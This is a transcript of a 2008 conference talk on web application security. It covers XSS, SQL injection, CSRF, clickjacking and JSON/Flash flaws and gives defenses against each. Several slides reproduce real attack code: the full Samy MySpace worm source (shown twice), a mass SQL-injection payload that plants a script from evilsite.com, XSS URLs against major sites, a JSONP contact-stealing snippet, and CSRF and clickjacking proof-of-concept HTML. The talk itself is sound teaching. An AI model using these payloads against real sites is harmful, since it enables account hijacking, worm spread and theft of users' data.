Web Security
 Horror Stories
The Dire
        ctor’s C
                ut

Simon Willison, 26th October 2008
The edited version
• On Friday, I spent 15 minutes introducing:
 • XSS
 • CSRF / login CSRF
 • SQL injection
 • Clickjacki...
XSS

• Cross-site scripting
  • Attacker injects JavaScript code in to your
    site
• Amazingly common
• A single XSS hol...
Alex Russell:

    If you are subject to an XSS,
       the same domain policy
     already ensures that you’re
       f’d...
The same origin policy
       “The same origin policy prevents a
     document or script loaded from one
    origin from g...
Why?
• Without the same origin policy, I could load
  your site in a frame, iframe or popup window
  from my site...
 • .....
Things I can do if you
   have an XSS hole
• Steal your users’ cookies and log in as them
• Show a fake phishing login pag...
Two categories of XSS
• Reflected
 • I embed my JS in a link to your site and
    trick your user in to following it
• Pers...
http://www.facebook.com/srch.php?nm=xss%00<script>alert('XSS')</script>


   http://www.youtube.com/edit_playlist_info?p='...
SQL injection
Inexcusable.
Use paramaterised
queries, or an ORM
If you’re gluing SQL
strings together with
   string appends,
• Wrong:
 • $sql = quot;select * from users where
    username = 'quot; . $username . quot;'quot;;

• Right:
 • $results =...
Mass XSS via SQL injection
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name...
Preventing XSS
• Use a tool that escapes everything on output
• Only unescape stuff that you know is safe
  and you know c...
HTML “sanitisation”
• My users need to be able to add links
  and basic styles to their submissions
• “I’ll let them use H...
<div id=mycode style=quot;BACKGROUND: url('java
script:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCh...
samy is my hero
  http://namb.la/popular/
A social network worm

• XSS hole in MySpace’s HTML filter
• When you viewed Samy’s profile...
 • JS makes you add him as a ...
20 hours, 1,005,831
  friend requests
    (then MySpace crashed)
<div id=mycode style=quot;BACKGROUND: url('java
script:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCh...
<div id=mycode style=quot;BACKGROUND: url('java
script:eval(document.all.mycode.expr)')quot; expr=quot;...quot;>


      e...
Things to remember
• Whitelist, don’t blacklist
• You’re programming against undocumented
  parsing routines in closed-sou...
Google’s UTF-7 hole
The UTF-7 hole
     • Google’s 404 pages used to be served
        without a character set specified in the
        HTTP he...
You can’t trust CSS either
   • Want to let your users include their own
      stylesheet?
   • HTC in IE and XBL in Mozil...
CSRF
Bill Zeller:

“We’ve found CSRF vulnerabilities in
 sites that have a huge incentive to
  do security correctly. If you’re...
The Google Web
  Accelerator
How does it work?

• It pre-fetches the links on a page in to a
  cache, so they’re already loaded when you
  click on the...
How does it work?

• It pre-fetches the links on a page in to a
  cache, so they’re already loaded when you
  click on the...
http://www.37signals.com/svn/archives2/google_web_accelerator_hey_not_so_fast_an_alert_for_web_app_designers.php
That’s also a security hole
<img src=quot;http://app.example.com/delete.php?id=1quot;>
<img src=quot;http://app.example.co...
So use POST


• You can't create a page that
  automatically posts to another site, can
  you?
POST will not save you
<form action=quot;http://app.example.com/delete.phpquot;
 method=quot;POSTquot;>
 <input type=quot;...
Or do it with JavaScript
<div style=quot;display: nonequot;>
<form action=quot;http://app.example.com/delete.phpquot;
 met...
The Digg exploit


     • A few years ago, Digg had no CSRF
        protection on their “digg this” button
     • Self-dig...
The Gmail filter hack
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
“We believe this is the first CSRF
   vulnerability to allow the transfer of funds
          from a financial institution.”
...
Preventing CSRF
• You need to distinguish between form
  interactions from your user on your site,
  and form interactions...
Crumbs
<form action=quot;http://app.example.com/delete.phpquot;
 method=quot;POSTquot;>
 <input type=quot;hiddenquot; name...
Crumbs
• Should be unique per user (or one user
  can use their crumb to attack another)
• Hence should be tied to the use...
Protecting the crumb
• Your crumb is now the only thing
  protecting you from CSRF attacks
• This is why XSS is “ring 0” f...
Crumbs and Ajax
• Ajax can set HTTP headers; regular forms can’t
• Ajax requests must be from the same domain
• So X-Reque...
Login CSRF
• Most login forms skip CSRF protection
 • Create a throw-away PayPal account
 • Use CSRF to log someone in as ...
Clickjacking


http://jeremiahgrossman.blogspot.com/2008/09/cancelled-clickjacking-owasp-appsec.html
iframe
      !
<style type=quot;text/cssquot;>
iframe {
  width: 400px;
  height: 200px;
  position: absolute;
  top: 10px;
  left: 10px;...
Frame-busting
<script type=quot;text/javascriptquot;>
if (top.location != location) {
	

 top.location.href = document.loc...
Anti click-jacki
                ng
The problem with
     plugins
crossdomain.xml
          <cross-domain-policy>
             <allow-access-from domain=quot;*quot; />
          </cross-do...
crossdomain.xml
          <cross-domain-policy>
             <allow-access-from domain=quot;*quot; />
          </cross-do...
Nasty crossdomain.xml
                tricks
 loadPolicyFile(quot;http://dom.ext/exit.php?url=http://dom.ext/upl/Xdomain.x...
The PDF hole

    • In January 2007, an XSS hole was found
       in the Adobe PDF reader itself
    • It could execute Ja...
You can’t secure your site
  100%, because there’s
always a chance a browser
or plugin will screw things
        up for you
Insecure JSON
JSONP rocks!
      • http://json-tinyurl.appspot.com/
      • http://json-time.appspot.com/
      • http://json-head.appsp...
• JSONP lets you opt-in to sharing your
  site’s data with other sites using JavaScript

• ... so make sure it’s data you ...
Stealing Google contacts
<script>
function google(a){
  var emails;
  for(i=1;i<a.Body.Contacts.length;i){
    alert(a.Bod...
Jeremiah Grossman:

      “If any JSON feed containing
       user-sensitive information is
      wrapped with a call-back...
Regular JSON?
          • That’s not secure either
          • In old versions of Firefox, you can redefine
               ...
Secure JSON
   Use { } as the root, not [ ]

If you’re paranoid about future similar
 problems, use an idiom like this one...
And if that wasn’t enough
    “More than 70% of people would reveal
   their computer password in exchange for
    a bar o...
NoScript?
Stay informed!
•   http://planet-websecurity.org/feed/
•   http://www.owasp.org/
•   http://simonwillison.net/tags/securit...
Thank you
Web Security Horror Stories
Web Security Horror Stories
Web Security Horror Stories
Web Security Horror Stories
Web Security Horror Stories
Web Security Horror Stories
Web Security Horror Stories
Web Security Horror Stories
Web Security Horror Stories
Upcoming SlideShare
Loading in...5
×

Web Security Horror Stories

36,860

Published on

Keeping your web application secure is an ongoing process - new classes of vulnerabilities are discovered with surprising frequency, and if you don't keep on top of them you could be in for a nasty surprise. This talk will discuss both common and obscure vulnerabilities, with real-world examples of attacks that have worked against high profile sites in the past.

Published in: Technology
8 Comments
60 Likes
Statistics
Notes
No Downloads
Views
Total Views
36,860
On Slideshare
0
From Embeds
0
Number of Embeds
17
Actions
Shares
0
Downloads
1,357
Comments
8
Likes
60
Embeds 0
No embeds

No notes for slide

Web Security Horror Stories

  1. 1. Web Security Horror Stories The Dire ctor’s C ut Simon Willison, 26th October 2008
  2. 2. The edited version • On Friday, I spent 15 minutes introducing: • XSS • CSRF / login CSRF • SQL injection • Clickjacking • I promised this talk would provide fixes
  3. 3. XSS • Cross-site scripting • Attacker injects JavaScript code in to your site • Amazingly common • A single XSS hole on your domain compromises your security, entirely
  4. 4. Alex Russell: If you are subject to an XSS, the same domain policy already ensures that you’re f’d. An XSS attack is the “root” or “ring 0” attack of the web. http://www.sitepen.com/blog/2007/01/07/when-vendors-attack-film-at-11/
  5. 5. The same origin policy “The same origin policy prevents a document or script loaded from one origin from getting or setting properties of a document from another origin. This policy dates all the way back to Netscape Navigator 2.0.” https://developer.mozilla.org/en/Same_origin_policy_for_JavaScript
  6. 6. Why? • Without the same origin policy, I could load your site in a frame, iframe or popup window from my site... • ... and steal data from it • ... or rewrite it with my own modifications • evil.hax.ru should not be able to read secret-wiki.bigco.intl • XMLHttpRequest has the same policy
  7. 7. Things I can do if you have an XSS hole • Steal your users’ cookies and log in as them • Show a fake phishing login page on your site • Embed malware and drive-by downloads • Perform any action as if I was your user
  8. 8. Two categories of XSS • Reflected • I embed my JS in a link to your site and trick your user in to following it • Persistent • I get my XSS in to your site’s database somehow so that it shows up on your pages
  9. 9. http://www.facebook.com/srch.php?nm=xss%00<script>alert('XSS')</script> http://www.youtube.com/edit_playlist_info?p='%22%3E%3Cscript% 20src=http://ckers.org/s%3E http://groups.google.com/group/rec.sport.pro-wrestling/browse_thread/ thread/1ab38554971acfc9')&+eval (alert(document.cookie))&+eval('?tvc=2 http://search.live.com/images/results.aspx? q=1&first=21&FORM=PEIRquot;><script>alert('securitylab.ru')</script> All from http://xssed.com/
  10. 10. SQL injection
  11. 11. Inexcusable. Use paramaterised queries, or an ORM
  12. 12. If you’re gluing SQL strings together with string appends,
  13. 13. • Wrong: • $sql = quot;select * from users where username = 'quot; . $username . quot;'quot;; • Right: • $results = db_query(quot;select * from users where username = ?quot;, $username);
  14. 14. Mass XSS via SQL injection DECLARE @T varchar(255), @C varchar(255); DECLARE Table_Cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a, syscolumns b WHERE a.id = b.id AND a.xtype = 'u' AND (b.xtype = 99 OR b.xtype = 35 OR b.xtype = 231 OR b.xtype = 167); OPEN Table_Cursor; FETCH NEXT FROM Table_Cursor INTO @T, @C; WHILE (@@FETCH_STATUS = 0) BEGIN EXEC( 'update [' + @T + '] set [' + @C + '] = rtrim(convert(varchar,[' + @C + ']))+ ''<script src=http://evilsite.com/1.js></script>''' ); FETCH NEXT FROM Table_Cursor INTO @T, @C; END; CLOSE Table_Cursor; DEALLOCATE Table_Cursor; http://hackademix.net/2008/04/26/mass-attack-faq/
  15. 15. Preventing XSS • Use a tool that escapes everything on output • Only unescape stuff that you know is safe and you know contains markup you want to execute • IE 8 has an XSS filter; this is irrelevant to developers • httpOnly cookies are mostly a waste of time
  16. 16. HTML “sanitisation” • My users need to be able to add links and basic styles to their submissions • “I’ll let them use HTML and remove anything nasty” • An extremely common vector for XSS • MySpace • LiveJournal • Almost anyone else who tries
  17. 17. <div id=mycode style=quot;BACKGROUND: url('java script:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCharCode(34);var A=String.fromCharCode (39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else {return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL (AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split ('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com') {document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()} function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV) {var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1) {Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST') {J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content- Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn (BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG +'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring (0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e) {Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace ('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn (AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS ['interest']=AG;J=getXMLObj();httpSend('/index.cfm? fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if (J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS ['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter (AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj ();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm() {if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2 (BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open (BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form- urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}quot;></DIV>
  18. 18. samy is my hero http://namb.la/popular/
  19. 19. A social network worm • XSS hole in MySpace’s HTML filter • When you viewed Samy’s profile... • JS makes you add him as a friend • JS uses XMLHttpRequest to add his exploit to YOUR profile as well
  20. 20. 20 hours, 1,005,831 friend requests (then MySpace crashed)
  21. 21. <div id=mycode style=quot;BACKGROUND: url('java script:eval(document.all.mycode.expr)')quot; expr=quot;var B=String.fromCharCode(34);var A=String.fromCharCode (39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else {return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL (AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split ('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com') {document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()} function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV) {var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1) {Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST') {J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content- Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn (BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG +'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring (0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e) {Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace ('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn (AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS ['interest']=AG;J=getXMLObj();httpSend('/index.cfm? fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if (J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS ['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter (AU,'hash');httpSend('/index.cfm? fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj ();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm? fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm() {if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2 (BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open (BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form- urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}quot;></DIV>
  22. 22. <div id=mycode style=quot;BACKGROUND: url('java script:eval(document.all.mycode.expr)')quot; expr=quot;...quot;> eval('document.body.inne' + 'rHTML'); eval('xmlhttp.onread' + 'ystatechange = callback'); http://namb.la/popular/tech.html
  23. 23. Things to remember • Whitelist, don’t blacklist • You’re programming against undocumented parsing routines in closed-source browsers • Distrust any library that doesn’t have a unit test suite a mile long • http://ha.ckers.org/xss.html • http://code.google.com/p/html5lib/ is promising
  24. 24. Google’s UTF-7 hole
  25. 25. The UTF-7 hole • Google’s 404 pages used to be served without a character set specified in the HTTP headers or <head> section • Without those hints, IE inspects the first 4096 bytes to “guess” which encoding is used • XSS attacks encoded as UTF-7 were shown on the page and executed by IE http://shiflett.org/blog/2005/dec/googles-xss-vulnerability
  26. 26. You can’t trust CSS either • Want to let your users include their own stylesheet? • HTC in IE and XBL in Mozilla are both vectors for JavaScript attacks • LiveJournal were attacked with this • A “position: absolute” hack was used to steal 30,000 MySpace passwords last year http://community.livejournal.com/lj_dev/708069.html http://www.securiteam.com/securitynews/6O00M0AHFW.html
  27. 27. CSRF
  28. 28. Bill Zeller: “We’ve found CSRF vulnerabilities in sites that have a huge incentive to do security correctly. If you’re in charge of a website and haven’t specifically protected against CSRF, chances are you’re vulnerable”
  29. 29. The Google Web Accelerator
  30. 30. How does it work? • It pre-fetches the links on a page in to a cache, so they’re already loaded when you click on them • Links like http://app.example.com/ delete.php?id=5
  31. 31. How does it work? • It pre-fetches the links on a page in to a cache, so they’re already loaded when you click on them • Links like http://app.example.com/ delete.php?id=5
  32. 32. http://www.37signals.com/svn/archives2/google_web_accelerator_hey_not_so_fast_an_alert_for_web_app_designers.php
  33. 33. That’s also a security hole <img src=quot;http://app.example.com/delete.php?id=1quot;> <img src=quot;http://app.example.com/delete.php?id=2quot;> <img src=quot;http://app.example.com/delete.php?id=3quot;> <img src=quot;http://app.example.com/delete.php?id=4quot;> <img src=quot;http://app.example.com/delete.php?id=5quot;> <img src=quot;http://app.example.com/delete.php?id=6quot;> <img src=quot;http://app.example.com/delete.php?id=7quot;> <img src=quot;http://app.example.com/delete.php?id=8quot;> ...
  34. 34. So use POST • You can't create a page that automatically posts to another site, can you?
  35. 35. POST will not save you <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;> <input type=quot;submitquot; value=quot;More kittens please!quot;> </form> fofurasfelinas: http://www.flickr.com/photos/fofurasfelinas/9724483/
  36. 36. Or do it with JavaScript <div style=quot;display: nonequot;> <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;1quot;> </form> </div> <script>document.forms[0].submit()</script> Put this in a hidden iframe and your victim won't even know it happened.
  37. 37. The Digg exploit • A few years ago, Digg had no CSRF protection on their “digg this” button • Self-digging pages! http://ha.ckers.org/blog/20060615/a-story-that-diggs-itself/
  38. 38. The Gmail filter hack http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
  39. 39. “We believe this is the first CSRF vulnerability to allow the transfer of funds from a financial institution.” http://www.freedom-to-tinker.com/blog/wzeller/ popular-websites-vulnerable-cross-site-request- forgery-attacks
  40. 40. Preventing CSRF • You need to distinguish between form interactions from your user on your site, and form interactions from your user on some other site • Referrer checking is notoriously unreliable • Solution: include a form token (Yahoo! calls this a “crumb”) proving that the post came from your site
  41. 41. Crumbs <form action=quot;http://app.example.com/delete.phpquot; method=quot;POSTquot;> <input type=quot;hiddenquot; name=quot;idquot; value=quot;37quot;> <input type=quot;hiddenquot; name=quot;crumbquot; value=quot;856c2f50ddc49fd710f14a406ec1fef652d3c9fquot;> <input type=quot;submitquot; value=quot;Delete this itemquot;> </form>
  42. 42. Crumbs • Should be unique per user (or one user can use their crumb to attack another) • Hence should be tied to the user’s session or login cookie • Should be changed over time • Quick and dirty: use sha1(salt + user’s session ID + timestamp) as the crumb
  43. 43. Protecting the crumb • Your crumb is now the only thing protecting you from CSRF attacks • This is why XSS is “ring 0” for the Web • With XSS, I can steal your crumb and run riot across your site • XSS holes are automatically CSRF holes
  44. 44. Crumbs and Ajax • Ajax can set HTTP headers; regular forms can’t • Ajax requests must be from the same domain • So X-Requested-By: XMLHttpRequest can only come from your own site • You can skip your crumb checking for requests that include that custom header
  45. 45. Login CSRF • Most login forms skip CSRF protection • Create a throw-away PayPal account • Use CSRF to log someone in as “you” • Hope that they add their credit card or bank details • Log in later and steal all of their money!
  46. 46. Clickjacking http://jeremiahgrossman.blogspot.com/2008/09/cancelled-clickjacking-owasp-appsec.html
  47. 47. iframe !
  48. 48. <style type=quot;text/cssquot;> iframe { width: 400px; height: 200px; position: absolute; top: 10px; left: 10px; overflow: hidden; opacity: 0; } #decoy { ... } </style> <iframe src=quot;http://veryimportantapp.com/delete-account/quot;> </iframe> <p id=quot;decoyquot;>Click HERE for kittens!</p>
  49. 49. Frame-busting <script type=quot;text/javascriptquot;> if (top.location != location) { top.location.href = document.location.href; } </script> • Ironically, turning off JavaScript in your browser makes you less safe here
  50. 50. Anti click-jacki ng
  51. 51. The problem with plugins
  52. 52. crossdomain.xml <cross-domain-policy> <allow-access-from domain=quot;*quot; /> </cross-domain-policy> Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs Flash can even fake an X-Requested-With: XMLHttpRequest header That’s why Flickr use api.flickr.com/crossdomain.xml instead
  53. 53. crossdomain.xml <cross-domain-policy> <allow-access-from domain=quot;*quot; /> </cross-domain-policy> Putting this at example.com/crossdomain.xml allows Flash applets on other sites to read your pages and steal your crumbs Flash can even fake an X-Requested-With: XMLHttpRequest header That’s why Flickr use api.flickr.com/crossdomain.xml instead
  54. 54. Nasty crossdomain.xml tricks loadPolicyFile(quot;http://dom.ext/exit.php?url=http://dom.ext/upl/Xdomain.xmlquot;) 00000000 47 49 46 38 39 61 01 01-01 01 e7 e9 20 3c 63 72 GIF89a.......<cr 00000010 6f 73 73 2d 64 6f 6d 61-69 6e 2d 70 6f 6c 69 63 oss-domain-polic 00000020 79 3e 0a 20 20 3c 61 6c-6c 6f 77 2d 61 63 63 65 y>...<allow-acce 00000030 73 73 2d 66 72 6f 6d 20-64 6f 6d 61 69 6e 3d 22 ss-from domain=quot; 00000040 2a 22 2f 3e 20 0a 20 20-3c 2f 63 72 6f 73 73 2d *quot;/>....</cross- 00000050 64 6f 6d 61 69 6e 2d 70-6f 6c 69 63 79 3e 47 49 domain-policy>.. http://www.hardened-php.net/library/ poking_new_holes_with_flash_crossdomain_policy_files.html
  55. 55. The PDF hole • In January 2007, an XSS hole was found in the Adobe PDF reader itself • It could execute JavaScript in the context of the current domain • Any sites hosting .pdf files for download were vulnerable http://shiflett.org/blog/2007/jan/adobe-pdf-xss-vulnerability
  56. 56. You can’t secure your site 100%, because there’s always a chance a browser or plugin will screw things up for you
  57. 57. Insecure JSON
  58. 58. JSONP rocks! • http://json-tinyurl.appspot.com/ • http://json-time.appspot.com/ • http://json-head.appspot.com/ http://json-tinyurl.appspot.com/?url=http://example.com/&callback=foo foo({quot;tinyurlquot;: quot;http://tinyurl.com/kotuquot;, quot;okquot;: true})
  59. 59. • JSONP lets you opt-in to sharing your site’s data with other sites using JavaScript • ... so make sure it’s data you want to share
  60. 60. Stealing Google contacts <script> function google(a){ var emails; for(i=1;i<a.Body.Contacts.length;i){ alert(a.Body.Contacts[i].Email); } emails = quot;</ol>quot; document.write(emails); } </script> <script src=quot;http://docs.google.com/data/contacts? out=js&show=ALL&psort=Affinity&callback=google&max=99999quot;> </script> http://blog.adamjacobmuller.com/gmail.txt http://www.cyber-knowledge.net/blog/2007/01/01/gmail-vulnerable-to-contact-list-hijacking/
  61. 61. Jeremiah Grossman: “If any JSON feed containing user-sensitive information is wrapped with a call-back and has a predictable URL... then that data is at risk” http://jeremiahgrossman.blogspot.com/2007/01/gmail-xsrf-json-call-back-hackery.html
  62. 62. Regular JSON? • That’s not secure either • In old versions of Firefox, you can redefine the Array constructor to grab the data • If your JSON object is an array, the data can be grabbed using <script src=quot;your- data-herequot;> http://directwebremoting.org/blog/joe/2007/03/05/json_is_not_as_safe_as_people_think_it_is.html
  63. 63. Secure JSON Use { } as the root, not [ ] If you’re paranoid about future similar problems, use an idiom like this one: while (true) { {quot;jsonquot;: quot;goes herequot;} }
  64. 64. And if that wasn’t enough “More than 70% of people would reveal their computer password in exchange for a bar of chocolate, a survey has found.” http://news.bbc.co.uk/1/hi/technology/3639679.stm • We have a shared responsibility to teach people better online security behaviour • Don’t teach our users to be phished!
  65. 65. NoScript?
  66. 66. Stay informed! • http://planet-websecurity.org/feed/ • http://www.owasp.org/ • http://simonwillison.net/tags/security/ • http://simonwillison.net/tags/csrf/ • http://simonwillison.net/tags/xss/ • http://simonwillison.net/tags/clickjacking/ • http://simonwillison.net/tags/phishing/
  67. 67. Thank you
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×